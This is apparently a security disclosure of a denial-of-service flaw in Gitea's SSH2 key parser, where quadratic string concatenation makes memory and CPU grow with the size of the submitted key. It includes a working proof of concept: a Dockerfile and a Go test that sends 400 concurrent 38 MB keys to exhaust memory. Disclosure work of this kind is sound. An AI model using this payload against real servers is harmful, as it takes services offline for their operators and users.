Gitea SSH Key Parser Denial of Service
Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.
An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).
The request reaches CreateUserPublicKey with no prior size check:
This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:
Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.
This is only possible because neither the web form field nor the API struct carries a size constraint:
To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:
poc/Dockerfile
FROM golang:1.26-alpine AS builder
RUN apk add --no-cache git build-base
WORKDIR /gitea
# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download
# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .
# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
-o /integration.test \
gitea.dev/tests/integration
# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22
# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git
COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea
RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea
WORKDIR /gitea
USER poc
ENTRYPOINT ["/integration.test", \
"-test.run", "TestDoSSSHKeyParserOOM", \
"-test.v", \
"-test.timeout", "600s"]
tests/integration/poc_dos_test.go
package integration
import (
"fmt"
"runtime"
"runtime/debug"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
auth_model "gitea.dev/models/auth"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
)
func TestDoSSSHKeyParserOOM(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Raise the GC trigger so intermediate strings accumulate faster,
// matching realistic server behaviour under sustained allocation load.
debug.SetGCPercent(400)
// Log in as an ordinary user — no special privileges needed.
session := loginUser(t, "user1")
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)
const (
numLines = 400_000
charsPerLine = 100
numWorkers = 400
)
var sb strings.Builder
sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
sb.WriteString("Comment: dos\n")
line := strings.Repeat("a", charsPerLine) + "\n"
for i := 0; i < numLines; i++ {
sb.WriteString(line)
}
sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
payload := sb.String()
peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB",
float64(len(payload))/(1<<20), numWorkers, peakGB)
// Each goroutine marshals its own JSON body. The bytes live in req.Body
// for the entire duration of MakeRequest, so numWorkers concurrent
// goroutines hold numWorkers × payload_size bytes simultaneously.
// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
var (
wg sync.WaitGroup
done atomic.Int64
ready = make(chan struct{})
start = time.Now()
)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go func(id int) {
defer func() { done.Add(1); wg.Done() }()
<-ready
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: fmt.Sprintf("dos-%d", id),
Key: payload,
}).AddTokenAuth(token)
MakeRequest(t, req, NoExpectedStatus)
}(i)
}
go func() {
var ms runtime.MemStats
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for range ticker.C {
runtime.ReadMemStats(&ms)
t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB",
time.Since(start).Seconds(), done.Load(), numWorkers,
float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
}
}()
close(ready)
wg.Wait()
t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
time.Since(start).Seconds())
}
When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:
docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc
Which prints out:
=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB
... demonstrating high memory consumption. On my end, memory is consumed within 1 second.
Why this VPI (explainable, experimental)
VPI breakdown
| Impact(default (no data)) | 55.00 |
| Exploitation signal(No additional exploitation signal) | ×1.00 |
| VPI | 55.00 |
VPI formula vpi-v1